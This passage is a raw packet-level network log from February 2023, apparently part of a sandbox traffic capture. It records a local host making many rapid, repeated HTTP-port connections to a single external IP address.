Feb 6, 2023 14:17:58.052349091 CET	49945	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:58.053075075 CET	49946	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:58.114433050 CET	80	49946	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:58.114720106 CET	49946	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:58.114765882 CET	80	49945	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:58.114857912 CET	49945	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:58.119194984 CET	49946	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:58.180613995 CET	80	49946	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:58.185362101 CET	80	49946	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:58.185492039 CET	49946	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:58.301071882 CET	49946	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:58.301881075 CET	49947	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:58.362184048 CET	80	49947	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:58.362386942 CET	80	49946	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:58.362423897 CET	49947	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:58.362462044 CET	49946	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:58.363275051 CET	49947	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:58.423508883 CET	80	49947	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:58.427375078 CET	80	49947	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:58.427475929 CET	49947	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:58.537921906 CET	49947	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:58.538526058 CET	49948	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:58.598464012 CET	80	49947	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:58.599167109 CET	49947	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:58.599869967 CET	80	49948	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:58.600033045 CET	49948	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:58.606494904 CET	49948	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:58.668018103 CET	80	49948	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:58.671230078 CET	80	49948	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:58.675139904 CET	49948	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:58.785895109 CET	49948	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:58.786799908 CET	49949	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:58.847496986 CET	80	49948	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:58.848164082 CET	80	49949	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:58.848321915 CET	49948	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:58.848380089 CET	49949	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:58.849591017 CET	49949	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:58.911056042 CET	80	49949	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:58.914136887 CET	80	49949	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:58.919151068 CET	49949	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:59.042300940 CET	49949	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:59.043171883 CET	49950	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:59.102619886 CET	80	49950	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:59.103780031 CET	80	49949	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:59.103990078 CET	49949	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:59.104526997 CET	49950	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:59.104526997 CET	49950	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:59.163980007 CET	80	49950	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:59.169317961 CET	80	49950	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:59.174184084 CET	49950	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:59.285558939 CET	49950	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:59.286578894 CET	49951	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:59.346014977 CET	80	49950	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:59.347207069 CET	49950	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:59.348993063 CET	80	49951	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:59.351211071 CET	49951	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:59.351610899 CET	49951	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:59.413969040 CET	80	49951	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:59.418251038 CET	80	49951	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:59.418814898 CET	49951	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:59.546293974 CET	49951	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:59.549717903 CET	49952	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:59.608784914 CET	80	49951	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:59.608928919 CET	49951	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:59.609071970 CET	80	49952	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:59.609170914 CET	49952	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:59.609623909 CET	49952	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:59.669070005 CET	80	49952	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:59.671968937 CET	80	49952	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:59.672152042 CET	49952	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:59.788455009 CET	49952	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:59.789135933 CET	49953	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:59.848021030 CET	80	49952	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:59.848165035 CET	49952	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:59.850379944 CET	80	49953	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:59.850523949 CET	49953	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:59.850997925 CET	49953	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:59.912341118 CET	80	49953	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:59.914640903 CET	80	49953	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:59.914758921 CET	49953	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:00.021588087 CET	49953	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:00.022433996 CET	49954	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:00.082078934 CET	80	49954	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:00.082218885 CET	49954	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:00.082619905 CET	49954	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:00.083097935 CET	80	49953	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:00.083193064 CET	49953	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:00.142074108 CET	80	49954	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:00.146924019 CET	80	49954	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:00.147089958 CET	49954	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:00.254257917 CET	49954	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:00.255212069 CET	49955	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:00.314004898 CET	80	49954	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:00.314177036 CET	49954	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:00.316899061 CET	80	49955	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:00.317079067 CET	49955	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:00.317508936 CET	49955	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:00.379189968 CET	80	49955	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:00.382448912 CET	80	49955	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:00.382581949 CET	49955	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:00.489070892 CET	49955	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:00.489984989 CET	49956	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:00.550841093 CET	80	49955	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:00.550972939 CET	49955	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:00.552565098 CET	80	49956	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:00.552676916 CET	49956	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:00.553096056 CET	49956	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:00.615793943 CET	80	49956	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:00.618180990 CET	80	49956	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:00.618283033 CET	49956	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:00.724831104 CET	49956	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:00.725745916 CET	49957	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:00.787727118 CET	80	49956	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:00.787836075 CET	49956	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:00.788188934 CET	80	49957	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:00.788276911 CET	49957	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:00.788641930 CET	49957	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:00.851094961 CET	80	49957	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:00.854032993 CET	80	49957	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:00.854280949 CET	49957	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:00.959079027 CET	49957	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:00.959954977 CET	49958	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:01.021198034 CET	80	49958	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:01.021312952 CET	49958	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:01.021646023 CET	80	49957	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:01.021758080 CET	49957	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:01.022167921 CET	49958	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:01.083314896 CET	80	49958	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:01.087373018 CET	80	49958	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:01.087461948 CET	49958	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:01.192006111 CET	49958	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:01.192851067 CET	49959	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:01.253388882 CET	80	49959	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:01.253452063 CET	80	49958	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:01.253518105 CET	49959	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:01.253562927 CET	49958	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:01.254903078 CET	49959	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:01.315448999 CET	80	49959	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:01.318948984 CET	80	49959	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:01.319132090 CET	49959	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:01.426681042 CET	49959	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:01.428457975 CET	49960	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:01.487407923 CET	80	49959	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:01.487683058 CET	80	49960	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:01.487790108 CET	49959	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:01.487833977 CET	49960	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:01.488614082 CET	49960	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:01.547792912 CET	80	49960	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:01.551234961 CET	80	49960	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:01.551346064 CET	49960	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:01.664623976 CET	49960	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:01.665641069 CET	49961	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:01.724451065 CET	80	49960	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:01.724620104 CET	49960	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:01.727319002 CET	80	49961	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:01.731468916 CET	49961	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:01.749516010 CET	49961	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:01.811234951 CET	80	49961	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:01.814297915 CET	80	49961	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:01.814496994 CET	49961	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:01.930131912 CET	49961	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:01.930865049 CET	49962	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:01.991971970 CET	80	49961	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:01.993475914 CET	49961	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:01.993483067 CET	80	49962	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:01.993607998 CET	49962	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:02.000570059 CET	49962	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:02.063191891 CET	80	49962	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:02.069396973 CET	80	49962	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:02.074829102 CET	49962	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:02.180293083 CET	49962	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:02.181193113 CET	49963	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:02.242913008 CET	80	49963	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:02.243114948 CET	49963	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:02.243323088 CET	80	49962	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:02.243438959 CET	49962	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:02.243571997 CET	49963	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:02.306564093 CET	80	49963	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:02.309935093 CET	80	49963	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:02.310353994 CET	49963	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:02.426249027 CET	49963	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:02.426912069 CET	49964	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:02.488504887 CET	80	49963	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:02.488693953 CET	49963	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:02.489018917 CET	80	49964	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:02.489144087 CET	49964	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:02.489491940 CET	49964	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:02.550925970 CET	80	49964	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:02.553540945 CET	80	49964	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:02.553637028 CET	49964	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:02.661108971 CET	49964	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:02.661664009 CET	49965	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:02.722213030 CET	80	49965	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:02.722385883 CET	49965	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:02.722630024 CET	80	49964	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:02.722707987 CET	49964	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:02.723607063 CET	49965	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:02.785056114 CET	80	49965	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:02.786803007 CET	80	49965	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:02.786911011 CET	49965	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:02.895222902 CET	49965	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:02.896389008 CET	49966	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:02.956497908 CET	80	49965	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:02.956628084 CET	49965	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:02.958812952 CET	80	49966	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:02.958945990 CET	49966	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:02.959271908 CET	49966	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:03.019980907 CET	80	49966	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:03.022351027 CET	80	49966	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:03.022479057 CET	49966	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:03.129595995 CET	49966	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:03.130362034 CET	49967	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:03.190814972 CET	80	49966	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:03.191070080 CET	49966	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:03.192506075 CET	80	49967	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:03.192631960 CET	49967	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:03.193008900 CET	49967	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:03.254303932 CET	80	49967	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:03.259531975 CET	80	49967	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:03.259685040 CET	49967	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:03.363532066 CET	49967	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:03.364197016 CET	49968	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:03.425101995 CET	80	49968	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:03.425152063 CET	80	49967	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:03.425244093 CET	49968	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:03.425287008 CET	49967	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:03.426820993 CET	49968	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:03.487651110 CET	80	49968	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:03.490326881 CET	80	49968	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:03.490422010 CET	49968	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:03.603157043 CET	49968	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:03.604159117 CET	49969	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:03.664554119 CET	80	49968	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:03.664597988 CET	80	49969	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:03.664648056 CET	49968	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:03.664756060 CET	49969	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:03.665185928 CET	49969	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:03.725414038 CET	80	49969	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:03.728063107 CET	80	49969	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:03.728144884 CET	49969	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:03.833055973 CET	49969	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:03.833796978 CET	49970	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:03.893482924 CET	80	49969	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:03.893598080 CET	49969	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:03.894037008 CET	80	49970	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:03.894150019 CET	49970	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:03.894707918 CET	49970	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:03.954884052 CET	80	49970	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:03.957648993 CET	80	49970	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:03.957786083 CET	49970	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:04.067100048 CET	49970	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:04.067745924 CET	49971	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:04.127501965 CET	80	49971	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:04.127549887 CET	80	49970	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:04.127599001 CET	49971	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:04.127674103 CET	49970	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:04.128226995 CET	49971	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:04.187696934 CET	80	49971	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:04.192429066 CET	80	49971	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:04.192512035 CET	49971	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:04.301333904 CET	49971	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:04.302114964 CET	49972	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:04.360871077 CET	80	49971	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:04.361036062 CET	49971	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:04.362814903 CET	80	49972	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:04.364384890 CET	49972	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:04.364384890 CET	49972	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:04.425178051 CET	80	49972	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:04.428808928 CET	80	49972	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:04.428919077 CET	49972	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:04.536222935 CET	49972	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:04.537185907 CET	49973	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:04.596944094 CET	80	49972	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:04.597647905 CET	80	49973	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:04.597865105 CET	49973	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:04.597861052 CET	49972	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:04.598156929 CET	49973	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:04.658390999 CET	80	49973	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:04.660758972 CET	80	49973	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:04.663727045 CET	49973	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:04.770642042 CET	49973	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:04.771358967 CET	49974	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:04.831311941 CET	80	49973	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:04.831523895 CET	49973	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:04.837142944 CET	80	49974	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:04.837357998 CET	49974	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:04.837733984 CET	49974	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:04.899997950 CET	80	49974	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:04.902610064 CET	80	49974	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:04.907151937 CET	49974	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:05.020948887 CET	49974	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:05.021933079 CET	49975	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:05.082588911 CET	80	49975	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:05.083393097 CET	80	49974	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:05.083631992 CET	49974	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:05.084398031 CET	49975	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:05.084398031 CET	49975	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:05.145181894 CET	80	49975	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:05.149620056 CET	80	49975	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:05.152421951 CET	49975	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:05.254482985 CET	49975	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:05.255168915 CET	49976	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:05.315337896 CET	80	49975	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:05.317234039 CET	49975	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:05.318025112 CET	80	49976	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:05.318162918 CET	49976	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:05.318607092 CET	49976	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:05.381220102 CET	80	49976	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:05.384452105 CET	80	49976	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:05.386436939 CET	49976	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:05.488993883 CET	49976	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:05.489896059 CET	49977	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:05.551285982 CET	80	49977	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:05.551470995 CET	49977	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:05.551811934 CET	80	49976	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:05.551918030 CET	49976	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:05.552321911 CET	49977	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:05.613500118 CET	80	49977	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:05.615860939 CET	80	49977	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:05.616028070 CET	49977	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:05.727147102 CET	49977	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:05.727993011 CET	49978	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:05.788563013 CET	80	49977	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:05.788750887 CET	49977	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:05.789397001 CET	80	49978	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:05.789539099 CET	49978	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:05.789921045 CET	49978	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:05.851466894 CET	80	49978	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:05.854299068 CET	80	49978	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:05.854459047 CET	49978	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:05.959477901 CET	49978	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:05.962671041 CET	49979	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:06.022170067 CET	80	49978	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:06.022380114 CET	49978	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:06.023282051 CET	80	49979	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:06.023653030 CET	49979	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:06.054835081 CET	49979	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:06.114515066 CET	80	49979	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:06.118680954 CET	80	49979	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:06.119630098 CET	49979	80	192.168.2.5	62.204.41.4
